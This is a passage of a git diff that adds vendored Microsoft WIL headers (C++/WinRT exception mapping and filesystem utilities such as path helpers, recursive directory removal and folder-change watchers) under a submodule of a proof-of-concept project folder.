+namespace wil::details +{ + // Since the C++/WinRT version macro is a string... + inline constexpr int major_version_from_string(const char* versionString) + { + int result = 0; + auto str = versionString; + while ((*str >= '0') && (*str <= '9')) + { + result = result * 10 + (*str - '0'); + ++str; + } + + return result; + } +} +/// @endcond + +#ifdef CPPWINRT_VERSION +// Prior to C++/WinRT "2.0" this header needed to be included before 'winrt/base.h' so that our definition of +// 'WINRT_EXTERNAL_CATCH_CLAUSE' would get picked up in the implementation of 'winrt::to_hresult'. This is no longer +// problematic, so only emit an error when using a version of C++/WinRT prior to 2.0 +static_assert(::wil::details::major_version_from_string(CPPWINRT_VERSION) >= 2, + "Please include wil/cppwinrt.h before including any C++/WinRT headers"); +#endif + +// NOTE: Will eventually be removed once C++/WinRT 2.0 use can be assumed +#ifdef WINRT_EXTERNAL_CATCH_CLAUSE +#define __WI_CONFLICTING_WINRT_EXTERNAL_CATCH_CLAUSE 1 +#else +#define WINRT_EXTERNAL_CATCH_CLAUSE \ + catch (const wil::ResultException& e) \ + { \ + return winrt::hresult_error(e.GetErrorCode(), winrt::to_hstring(e.what())).to_abi(); \ + } +#endif + +#include "result_macros.h" +#include + +#if __WI_CONFLICTING_WINRT_EXTERNAL_CATCH_CLAUSE +static_assert(::wil::details::major_version_from_string(CPPWINRT_VERSION) >= 2, + "C++/WinRT external catch clause already defined outside of WIL"); +#endif + +// In C++/WinRT 2.0 and beyond, this function pointer exists. In earlier versions it does not. It's much easier to avoid +// linker errors than it is to SFINAE on variable existence, so we declare the variable here, but are careful not to +// use it unless the version of C++/WinRT is high enough +extern std::int32_t(__stdcall* winrt_to_hresult_handler)(void*) noexcept; + +/// @cond +namespace wil::details +{ + inline void MaybeGetExceptionString( + const winrt::hresult_error& exception, + _Out_writes_opt_(debugStringChars) PWSTR debugString, + _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars) + { + if (debugString) + { + StringCchPrintfW(debugString, debugStringChars, L"winrt::hresult_error: %ls", exception.message().c_str()); + } + } + + inline HRESULT __stdcall ResultFromCaughtException_CppWinRt( + _Inout_updates_opt_(debugStringChars) PWSTR debugString, + _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, + _Inout_ bool* isNormalized) noexcept + { + if (g_pfnResultFromCaughtException) + { + try + { + throw; + } + catch (const ResultException& exception) + { + *isNormalized = true; + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (const winrt::hresult_error& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.to_abi(); + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (const std::out_of_range& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_BOUNDS; + } + catch (const std::invalid_argument& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_INVALIDARG; + } + catch (...) + { + auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars); + if (FAILED(hr)) + { + return hr; + } + } + } + else + { + try + { + throw; + } + catch (const ResultException& exception) + { + *isNormalized = true; + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (const winrt::hresult_error& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.to_abi(); + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (const std::out_of_range& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_BOUNDS; + } + catch (const std::invalid_argument& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_INVALIDARG; + } + catch (const std::exception& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + catch (...) + { + // Fall through to returning 'S_OK' below + } + } + + // Tell the caller that we were unable to map the exception by succeeding... + return S_OK; + } +} +/// @endcond + +namespace wil +{ + inline std::int32_t __stdcall winrt_to_hresult(void* returnAddress) noexcept + { + // C++/WinRT only gives us the return address (caller), so pass along an empty 'DiagnosticsInfo' since we don't + // have accurate file/line/etc. information + return static_cast(details::ReportFailure_CaughtException(__R_DIAGNOSTICS_RA(DiagnosticsInfo{}, returnAddress))); + } + + inline void WilInitialize_CppWinRT() + { + details::g_pfnResultFromCaughtException_CppWinRt = details::ResultFromCaughtException_CppWinRt; + if constexpr (details::major_version_from_string(CPPWINRT_VERSION) >= 2) + { + WI_ASSERT(winrt_to_hresult_handler == nullptr); + winrt_to_hresult_handler = winrt_to_hresult; + } + } + + /// @cond + namespace details + { +#ifndef CPPWINRT_SUPPRESS_STATIC_INITIALIZERS + WI_ODR_PRAGMA("CPPWINRT_SUPPRESS_STATIC_INITIALIZERS", "0") + WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_CppWinRT, [] + { + ::wil::WilInitialize_CppWinRT(); + return 1; + }); +#else + WI_ODR_PRAGMA("CPPWINRT_SUPPRESS_STATIC_INITIALIZERS", "1") +#endif + } + /// @endcond + + // Provides an overload of verify_hresult so that the WIL macros can recognize winrt::hresult as a valid "hresult" type. + inline long verify_hresult(winrt::hresult hr) noexcept + { + return hr; + } + + // Provides versions of get_abi and put_abi for genericity that directly use HSTRING for convenience. + template + auto get_abi(T const& object) noexcept + { + return winrt::get_abi(object); + } + + inline auto get_abi(winrt::hstring const& object) noexcept + { + return static_cast(winrt::get_abi(object)); + } + + template + auto put_abi(T& object) noexcept + { + return winrt::put_abi(object); + } + + inline auto put_abi(winrt::hstring& object) noexcept + { + return reinterpret_cast(winrt::put_abi(object)); + } + + inline ::IUnknown* com_raw_ptr(const winrt::Windows::Foundation::IUnknown& ptr) noexcept + { + return static_cast<::IUnknown*>(winrt::get_abi(ptr)); + } + + // Needed to power wil::cx_object_from_abi that requires IInspectable + inline ::IInspectable* com_raw_ptr(const winrt::Windows::Foundation::IInspectable& ptr) noexcept + { + return static_cast<::IInspectable*>(winrt::get_abi(ptr)); + } + + // Taken from the docs.microsoft.com article + template + T convert_from_abi(::IUnknown* from) + { + T to{ nullptr }; // `T` is a projected type. + winrt::check_hresult(from->QueryInterface(winrt::guid_of(), winrt::put_abi(to))); + return to; + } +} + +#endif // __WIL_CPPWINRT_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/filesystem.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/filesystem.h new file mode 100644 index 00000000..4df11a09 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/filesystem.h @@ -0,0 +1,1016 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_FILESYSTEM_INCLUDED +#define __WIL_FILESYSTEM_INCLUDED + +#ifdef _KERNEL_MODE +#error This header is not supported in kernel-mode. +#endif + +#include +#include // Needed for CoTaskMemFree() used in output of some helpers. +#include // LocalAlloc +#include +#include "result.h" +#include "win32_helpers.h" +#include "resource.h" + +namespace wil +{ + //! Determines if a path is an extended length path that can be used to access paths longer than MAX_PATH. + inline bool is_extended_length_path(_In_ PCWSTR path) + { + return wcsncmp(path, L"\\\\?\\", 4) == 0; + } + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) + //! Find the last segment of a path. Matches the behavior of shlwapi!PathFindFileNameW() + //! note, does not support streams being specified like PathFindFileNameW(), is that a bug or a feature? + inline PCWSTR find_last_path_segment(_In_ PCWSTR path) + { + auto const pathLength = wcslen(path); + // If there is a trailing slash ignore that in the search. + auto const limitedLength = ((pathLength > 0) && (path[pathLength - 1] == L'\\')) ? (pathLength - 1) : pathLength; + + PCWSTR result; + auto const offset = FindStringOrdinal(FIND_FROMEND, path, static_cast(limitedLength), L"\\", 1, TRUE); + if (offset == -1) + { + result = path + pathLength; // null terminator + } + else + { + result = path + offset + 1; // just past the slash + } + return result; + } +#endif + + //! Determine if the file name is one of the special "." or ".." names. + inline bool path_is_dot_or_dotdot(_In_ PCWSTR fileName) + { + return ((fileName[0] == L'.') && + ((fileName[1] == L'\0') || ((fileName[1] == L'.') && (fileName[2] == L'\0')))); + } + + //! Returns the drive number, if it has one. Returns true if there is a drive number, false otherwise. Supports regular and extended length paths. + inline bool try_get_drive_letter_number(_In_ PCWSTR path, _Out_ int* driveNumber) + { + if (path[0] == L'\\' && path[1] == L'\\' && path[2] == L'?' && path[3] == L'\\') + { + path += 4; + } + if (path[0] && (path[1] == L':')) + { + if ((path[0] >= L'a') && (path[0] <= L'z')) + { + *driveNumber = path[0] - L'a'; + return true; + } + else if ((path[0] >= L'A') && (path[0] <= L'Z')) + { + *driveNumber = path[0] - L'A'; + return true; + } + } + *driveNumber = -1; + return false; + } + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7) + + // PathCch.h APIs are only in desktop API for now. + + // Compute the substring in the input value that is the parent folder path. + // returns: + // true + parentPathLength - path has a parent starting at the beginning path and of parentPathLength length. + // false, no parent path, the input is a root path. + inline bool try_get_parent_path_range(_In_ PCWSTR path, _Out_ size_t* parentPathLength) + { + *parentPathLength = 0; + bool hasParent = false; + PCWSTR rootEnd; + if (SUCCEEDED(PathCchSkipRoot(path, &rootEnd)) && (*rootEnd != L'\0')) + { + auto const lastSegment = find_last_path_segment(path); + *parentPathLength = lastSegment - path; + hasParent = (*parentPathLength != 0); + } + return hasParent; + } + + // Creates directories for the specified path, creating parent paths + // as needed. + inline HRESULT CreateDirectoryDeepNoThrow(PCWSTR path) WI_NOEXCEPT + { + if (::CreateDirectoryW(path, nullptr) == FALSE) + { + DWORD const lastError = ::GetLastError(); + if (lastError == ERROR_PATH_NOT_FOUND) + { + size_t parentLength; + if (try_get_parent_path_range(path, &parentLength)) + { + wistd::unique_ptr parent(new (std::nothrow) wchar_t[parentLength + 1]); + RETURN_IF_NULL_ALLOC(parent.get()); + RETURN_IF_FAILED(StringCchCopyNW(parent.get(), parentLength + 1, path, parentLength)); + CreateDirectoryDeepNoThrow(parent.get()); // recurs + } + RETURN_IF_WIN32_BOOL_FALSE(::CreateDirectoryW(path, nullptr)); + } + else if (lastError != ERROR_ALREADY_EXISTS) + { + RETURN_WIN32(lastError); + } + } + return S_OK; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + inline void CreateDirectoryDeep(PCWSTR path) + { + THROW_IF_FAILED(CreateDirectoryDeepNoThrow(path)); + } +#endif // WIL_ENABLE_EXCEPTIONS + + //! A strongly typed version of the Win32 API GetFullPathNameW. + //! Return a path in an allocated buffer for handling long paths. + //! Optionally return the pointer to the file name part. + template + HRESULT GetFullPathNameW(PCWSTR file, string_type& path, _Outptr_opt_ PCWSTR* filePart = nullptr) + { + wil::assign_null_to_opt_param(filePart); + const auto hr = AdaptFixedSizeToAllocatedResult(path, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT + { + // Note that GetFullPathNameW() is not limited to MAX_PATH + // but it does take a fixed size buffer. + *valueLengthNeededWithNull = ::GetFullPathNameW(file, static_cast(valueLength), value, nullptr); + RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0); + WI_ASSERT((*value != L'\0') == (*valueLengthNeededWithNull < valueLength)); + if (*valueLengthNeededWithNull < valueLength) + { + (*valueLengthNeededWithNull)++; // it fit, account for the null + } + return S_OK; + }); + if (SUCCEEDED(hr) && filePart) + { + *filePart = wil::find_last_path_segment(details::string_maker::get(path)); + } + return hr; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! A strongly typed version of the Win32 API of GetFullPathNameW. + //! Return a path in an allocated buffer for handling long paths. + //! Optionally return the pointer to the file name part. + template + string_type GetFullPathNameW(PCWSTR file, _Outptr_opt_ PCWSTR* filePart = nullptr) + { + string_type result; + THROW_IF_FAILED((GetFullPathNameW(file, result, filePart))); + return result; + } +#endif + + enum class RemoveDirectoryOptions + { + None = 0, + KeepRootDirectory = 0x1, + RemoveReadOnly = 0x2, + }; + DEFINE_ENUM_FLAG_OPERATORS(RemoveDirectoryOptions); + + namespace details + { + // Reparse points should not be traversed in most recursive walks of the file system, + // unless allowed through the appropriate reparse tag. + inline bool CanRecurseIntoDirectory(const FILE_ATTRIBUTE_TAG_INFO& info) + { + return (WI_IsFlagSet(info.FileAttributes, FILE_ATTRIBUTE_DIRECTORY) && + (WI_IsFlagClear(info.FileAttributes, FILE_ATTRIBUTE_REPARSE_POINT) || + (IsReparseTagDirectory(info.ReparseTag) || (info.ReparseTag == IO_REPARSE_TAG_WCI)))); + } + } + + // Retrieve a handle to a directory only if it is safe to recurse into. + inline wil::unique_hfile TryCreateFileCanRecurseIntoDirectory(PCWSTR path, PWIN32_FIND_DATAW fileFindData) + { + wil::unique_hfile result(CreateFileW(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, + nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, nullptr)); + if (result) + { + FILE_ATTRIBUTE_TAG_INFO fati; + if (GetFileInformationByHandleEx(result.get(), FileAttributeTagInfo, &fati, sizeof(fati)) && + details::CanRecurseIntoDirectory(fati)) + { + if (fileFindData) + { + // Refresh the found file's data now that we have secured the directory from external manipulation. + fileFindData->dwFileAttributes = fati.FileAttributes; + fileFindData->dwReserved0 = fati.ReparseTag; + } + } + else + { + result.reset(); + } + } + + return result; + } + + // If inputPath is a non-normalized name be sure to pass an extended length form to ensure + // it can be addressed and deleted. + inline HRESULT RemoveDirectoryRecursiveNoThrow(PCWSTR inputPath, RemoveDirectoryOptions options = RemoveDirectoryOptions::None) WI_NOEXCEPT + { + wil::unique_hlocal_string path; + PATHCCH_OPTIONS combineOptions = PATHCCH_NONE; + + if (is_extended_length_path(inputPath)) + { + path = wil::make_hlocal_string_nothrow(inputPath); + RETURN_IF_NULL_ALLOC(path); + // PathAllocCombine will convert extended length paths to regular paths if shorter than + // MAX_PATH, avoid that behavior to provide access inputPath with non-normalized names. + combineOptions = PATHCCH_ENSURE_IS_EXTENDED_LENGTH_PATH; + } + else + { + // For regular paths normalize here to get consistent results when searching and deleting. + RETURN_IF_FAILED(wil::GetFullPathNameW(inputPath, path)); + combineOptions = PATHCCH_ALLOW_LONG_PATHS; + } + + wil::unique_hlocal_string searchPath; + RETURN_IF_FAILED(::PathAllocCombine(path.get(), L"*", combineOptions, &searchPath)); + + WIN32_FIND_DATAW fd; + wil::unique_hfind findHandle(::FindFirstFileW(searchPath.get(), &fd)); + RETURN_LAST_ERROR_IF(!findHandle); + + for (;;) + { + // skip "." and ".." + if (!(WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY) && path_is_dot_or_dotdot(fd.cFileName))) + { + // Need to form an extended length path to provide the ability to delete paths > MAX_PATH + // and files with non-normalized names (dots or spaces at the end). + wil::unique_hlocal_string pathToDelete; + RETURN_IF_FAILED(::PathAllocCombine(path.get(), fd.cFileName, + PATHCCH_ENSURE_IS_EXTENDED_LENGTH_PATH | PATHCCH_DO_NOT_NORMALIZE_SEGMENTS, &pathToDelete)); + if (WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY)) + { + // Get a handle to the directory to delete, preventing it from being replaced to prevent writes which could be used + // to bypass permission checks, and verify that it is not a name surrogate (e.g. symlink, mount point, etc). + wil::unique_hfile recursivelyDeletableDirectoryHandle = TryCreateFileCanRecurseIntoDirectory(pathToDelete.get(), &fd); + if (recursivelyDeletableDirectoryHandle) + { + RemoveDirectoryOptions localOptions = options; + RETURN_IF_FAILED(RemoveDirectoryRecursiveNoThrow(pathToDelete.get(), WI_ClearFlag(localOptions, RemoveDirectoryOptions::KeepRootDirectory))); + } + else if (WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_REPARSE_POINT)) + { + // This is a directory reparse point that should not be recursed. Delete it without traversing into it. + RETURN_IF_WIN32_BOOL_FALSE(::RemoveDirectoryW(pathToDelete.get())); + } + else + { + // Failed to grab a handle to the file or to read its attributes. This is not safe to recurse. + RETURN_WIN32(::GetLastError()); + } + } + else + { + // Try a DeleteFile. Some errors may be recoverable. + if (!::DeleteFileW(pathToDelete.get())) + { + // Fail for anything other than ERROR_ACCESS_DENIED with option to RemoveReadOnly available + bool potentiallyFixableReadOnlyProblem = + WI_IsFlagSet(options, RemoveDirectoryOptions::RemoveReadOnly) && ::GetLastError() == ERROR_ACCESS_DENIED; + RETURN_LAST_ERROR_IF(!potentiallyFixableReadOnlyProblem); + + // Fail if the file does not have read-only set, likely just an ACL problem + DWORD fileAttr = ::GetFileAttributesW(pathToDelete.get()); + RETURN_LAST_ERROR_IF(!WI_IsFlagSet(fileAttr, FILE_ATTRIBUTE_READONLY)); + + // Remove read-only flag, setting to NORMAL if completely empty + WI_ClearFlag(fileAttr, FILE_ATTRIBUTE_READONLY); + if (fileAttr == 0) + { + fileAttr = FILE_ATTRIBUTE_NORMAL; + } + + // Set the new attributes and try to delete the file again, returning any failure + ::SetFileAttributesW(pathToDelete.get(), fileAttr); + RETURN_IF_WIN32_BOOL_FALSE(::DeleteFileW(pathToDelete.get())); + } + } + } + + if (!::FindNextFileW(findHandle.get(), &fd)) + { + auto const err = ::GetLastError(); + if (err == ERROR_NO_MORE_FILES) + { + break; + } + RETURN_WIN32(err); + } + } + + if (WI_IsFlagClear(options, RemoveDirectoryOptions::KeepRootDirectory)) + { + RETURN_IF_WIN32_BOOL_FALSE(::RemoveDirectoryW(path.get())); + } + return S_OK; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + inline void RemoveDirectoryRecursive(PCWSTR path, RemoveDirectoryOptions options = RemoveDirectoryOptions::None) + { + THROW_IF_FAILED(RemoveDirectoryRecursiveNoThrow(path, options)); + } +#endif // WIL_ENABLE_EXCEPTIONS + + // Range based for that supports Win32 structures that use NextEntryOffset as the basis of traversing + // a result buffer that contains data. This is used in the following FileIO calls: + // FileStreamInfo, FILE_STREAM_INFO + // FileIdBothDirectoryInfo, FILE_ID_BOTH_DIR_INFO + // FileFullDirectoryInfo, FILE_FULL_DIR_INFO + // FileIdExtdDirectoryInfo, FILE_ID_EXTD_DIR_INFO + // ReadDirectoryChangesW, FILE_NOTIFY_INFORMATION + + template + struct next_entry_offset_iterator + { + // Fulfill std::iterator_traits requirements + using difference_type = ptrdiff_t; + using value_type = T; + using pointer = const T*; + using reference = const T&; +#ifdef _XUTILITY_ + using iterator_category = ::std::forward_iterator_tag; +#endif + + next_entry_offset_iterator(T *iterable = __nullptr) : current_(iterable) {} + + // range based for requires operator!=, operator++ and operator* to do its work + // on the type returned from begin() and end(), provide those here. + bool operator!=(const next_entry_offset_iterator& other) const { return current_ != other.current_; } + + next_entry_offset_iterator& operator++() + { + current_ = (current_->NextEntryOffset != 0) ? + reinterpret_cast(reinterpret_cast(current_) + current_->NextEntryOffset) : + __nullptr; + return *this; + } + + next_entry_offset_iterator operator++(int) + { + auto copy = *this; + ++(*this); + return copy; + } + + reference operator*() const WI_NOEXCEPT { return *current_; } + pointer operator->() const WI_NOEXCEPT { return current_; } + + next_entry_offset_iterator begin() { return *this; } + next_entry_offset_iterator end() { return next_entry_offset_iterator(); } + + T* current_; + }; + + template + next_entry_offset_iterator create_next_entry_offset_iterator(T* p) + { + return next_entry_offset_iterator(p); + } + +#pragma region Folder Watcher + // Example use in exception based code: + // auto watcher = wil::make_folder_watcher(folder.Path().c_str(), true, wil::allChangeEvents, []() + // { + // // respond + // }); + // + // Example use in result code based code: + // wil::unique_folder_watcher watcher; + // THROW_IF_FAILED(watcher.create(folder, true, wil::allChangeEvents, []() + // { + // // respond + // })); + + enum class FolderChangeEvent : DWORD + { + ChangesLost = 0, // requies special handling, reset state as events were lost + Added = FILE_ACTION_ADDED, + Removed = FILE_ACTION_REMOVED, + Modified = FILE_ACTION_MODIFIED, + RenameOldName = FILE_ACTION_RENAMED_OLD_NAME, + RenameNewName = FILE_ACTION_RENAMED_NEW_NAME, + }; + + enum class FolderChangeEvents : DWORD + { + None = 0, + FileName = FILE_NOTIFY_CHANGE_FILE_NAME, + DirectoryName = FILE_NOTIFY_CHANGE_DIR_NAME, + Attributes = FILE_NOTIFY_CHANGE_ATTRIBUTES, + FileSize = FILE_NOTIFY_CHANGE_SIZE, + LastWriteTime = FILE_NOTIFY_CHANGE_LAST_WRITE, + Security = FILE_NOTIFY_CHANGE_SECURITY, + All = FILE_NOTIFY_CHANGE_FILE_NAME | + FILE_NOTIFY_CHANGE_DIR_NAME | + FILE_NOTIFY_CHANGE_ATTRIBUTES | + FILE_NOTIFY_CHANGE_SIZE | + FILE_NOTIFY_CHANGE_LAST_WRITE | + FILE_NOTIFY_CHANGE_SECURITY + }; + DEFINE_ENUM_FLAG_OPERATORS(FolderChangeEvents); + + /// @cond + namespace details + { + struct folder_watcher_state + { + folder_watcher_state(wistd::function &&callback) : m_callback(wistd::move(callback)) + { + } + wistd::function m_callback; + // Order is important, need to close the thread pool wait before the change handle. + unique_hfind_change m_findChangeHandle; + unique_threadpool_wait m_threadPoolWait; + }; + + inline void delete_folder_watcher_state(_In_opt_ folder_watcher_state *storage) { delete storage; } + + typedef resource_policy folder_watcher_state_resource_policy; + } + /// @endcond + + template + class folder_watcher_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit folder_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructors + folder_watcher_t(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions; use the create method"); + create(folderToWatch, isRecursive, filter, wistd::move(callback)); + } + + result create(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + return err_policy::HResult(create_common(folderToWatch, isRecursive, filter, wistd::move(callback))); + } + private: + // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas + // to __stdcall + static void __stdcall callback(PTP_CALLBACK_INSTANCE /*Instance*/, void *context, TP_WAIT *pThreadPoolWait, TP_WAIT_RESULT /*result*/) + { + auto watcherState = static_cast(context); + watcherState->m_callback(); + + // Rearm the wait. Should not fail with valid parameters. + FindNextChangeNotification(watcherState->m_findChangeHandle.get()); + SetThreadpoolWait(pThreadPoolWait, watcherState->m_findChangeHandle.get(), __nullptr); + } + + // This function exists to avoid template expansion of this code based on err_policy. + HRESULT create_common(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + wistd::unique_ptr watcherState(new(std::nothrow) details::folder_watcher_state(wistd::move(callback))); + RETURN_IF_NULL_ALLOC(watcherState); + + watcherState->m_findChangeHandle.reset(FindFirstChangeNotificationW(folderToWatch, isRecursive, static_cast(filter))); + RETURN_LAST_ERROR_IF(!watcherState->m_findChangeHandle); + + watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(&folder_watcher_t::callback, watcherState.get(), __nullptr)); + RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait); + this->reset(watcherState.release()); // no more failures after this, pass ownership + SetThreadpoolWait(this->get()->m_threadPoolWait.get(), this->get()->m_findChangeHandle.get(), __nullptr); + return S_OK; + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_folder_watcher_nothrow; + + inline unique_folder_watcher_nothrow make_folder_watcher_nothrow(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) WI_NOEXCEPT + { + unique_folder_watcher_nothrow watcher; + watcher.create(folderToWatch, isRecursive, filter, wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_folder_watcher; + + inline unique_folder_watcher make_folder_watcher(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + return unique_folder_watcher(folderToWatch, isRecursive, filter, wistd::move(callback)); + } +#endif // WIL_ENABLE_EXCEPTIONS + +#pragma endregion + +#pragma region Folder Reader + + // Example use for throwing: + // auto reader = wil::make_folder_change_reader(folder.Path().c_str(), true, wil::FolderChangeEvents::All, + // [](wil::FolderChangeEvent event, PCWSTR fileName) + // { + // switch (event) + // { + // case wil::FolderChangeEvent::ChangesLost: break; + // case wil::FolderChangeEvent::Added: break; + // case wil::FolderChangeEvent::Removed: break; + // case wil::FolderChangeEvent::Modified: break; + // case wil::FolderChangeEvent::RenamedOldName: break; + // case wil::FolderChangeEvent::RenamedNewName: break; + // }); + // + // Example use for non throwing: + // wil::unique_folder_change_reader_nothrow reader; + // THROW_IF_FAILED(reader.create(folder, true, wil::FolderChangeEvents::All, + // [](wil::FolderChangeEvent event, PCWSTR fileName) + // { + // // handle changes + // })); + // + + // @cond + namespace details + { + struct folder_change_reader_state + { + folder_change_reader_state(bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + : m_callback(wistd::move(callback)), m_isRecursive(isRecursive), m_filter(filter) + { + } + + ~folder_change_reader_state() + { + if (m_tpIo != __nullptr) + { + TP_IO *tpIo = m_tpIo; + + // Indicate to the callback function that this object is being torn + // down. + + { + auto autoLock = m_cancelLock.lock_exclusive(); + m_tpIo = __nullptr; + } + + // Cancel IO to terminate the file system monitoring operation. + + if (m_folderHandle) + { + CancelIoEx(m_folderHandle.get(), &m_overlapped); + } + + // Wait for callbacks to complete. + // + // N.B. This is a blocking call and must not be made within a + // callback or within a lock which is taken inside the + // callback. + + WaitForThreadpoolIoCallbacks(tpIo, TRUE); + CloseThreadpoolIo(tpIo); + } + } + + HRESULT StartIo() + { + // Unfortunately we have to handle ref-counting of IOs on behalf of the + // thread pool. + StartThreadpoolIo(m_tpIo); + HRESULT hr = ReadDirectoryChangesW(m_folderHandle.get(), m_readBuffer, sizeof(m_readBuffer), + m_isRecursive, static_cast(m_filter), __nullptr, &m_overlapped, __nullptr) ? + S_OK : HRESULT_FROM_WIN32(::GetLastError()); + if (FAILED(hr)) + { + // This operation does not have the usual semantic of returning + // ERROR_IO_PENDING. + // WI_ASSERT(hr != HRESULT_FROM_WIN32(ERROR_IO_PENDING)); + + // If the operation failed for whatever reason, ensure the TP + // ref counts are accurate. + + CancelThreadpoolIo(m_tpIo); + } + return hr; + } + + // void (wil::FolderChangeEvent event, PCWSTR fileName) + wistd::function m_callback; + unique_handle m_folderHandle; + BOOL m_isRecursive = FALSE; + FolderChangeEvents m_filter = FolderChangeEvents::None; + OVERLAPPED m_overlapped{}; + TP_IO *m_tpIo = __nullptr; + srwlock m_cancelLock; + char m_readBuffer[4096]; // Consider alternative buffer sizes. With 512 byte buffer i was not able to observe overflow. + }; + + inline void delete_folder_change_reader_state(_In_opt_ folder_change_reader_state *storage) { delete storage; } + + typedef resource_policy folder_change_reader_state_resource_policy; + } + /// @endcond + + template + class folder_change_reader_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit folder_change_reader_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructors + folder_change_reader_t(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions; use the create method"); + create(folderToWatch, isRecursive, filter, wistd::move(callback)); + } + + result create(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + return err_policy::HResult(create_common(folderToWatch, isRecursive, filter, wistd::move(callback))); + } + + wil::unique_hfile& folder_handle() { return this->get()->m_folderHandle; } + + private: + // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas + // to __stdcall + static void __stdcall callback(PTP_CALLBACK_INSTANCE /* Instance */, void *context, void * /*overlapped*/, + ULONG result, ULONG_PTR /* BytesTransferred */, TP_IO * /* Io */) + { + auto readerState = static_cast(context); + // WI_ASSERT(overlapped == &readerState->m_overlapped); + + bool requeue = true; + if (result == ERROR_SUCCESS) + { + for (auto const& info : create_next_entry_offset_iterator(reinterpret_cast(readerState->m_readBuffer))) + { + wchar_t realtiveFileName[MAX_PATH]; + StringCchCopyNW(realtiveFileName, ARRAYSIZE(realtiveFileName), info.FileName, info.FileNameLength / sizeof(info.FileName[0])); + + readerState->m_callback(static_cast(info.Action), realtiveFileName); + } + } + else if (result == ERROR_NOTIFY_ENUM_DIR) + { + readerState->m_callback(FolderChangeEvent::ChangesLost, __nullptr); + } + else + { + requeue = false; + } + + if (requeue) + { + // If the lock is held non-shared or the TP IO is nullptr, this + // structure is being torn down. Otherwise, monitor for further + // changes. + auto autoLock = readerState->m_cancelLock.try_lock_shared(); + if (autoLock && readerState->m_tpIo) + { + readerState->StartIo(); // ignoring failure here + } + } + } + + // This function exists to avoid template expansion of this code based on err_policy. + HRESULT create_common(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) + { + wistd::unique_ptr readerState(new(std::nothrow) details::folder_change_reader_state( + isRecursive, filter, wistd::move(callback))); + RETURN_IF_NULL_ALLOC(readerState); + + readerState->m_folderHandle.reset(CreateFileW(folderToWatch, + FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, + __nullptr, 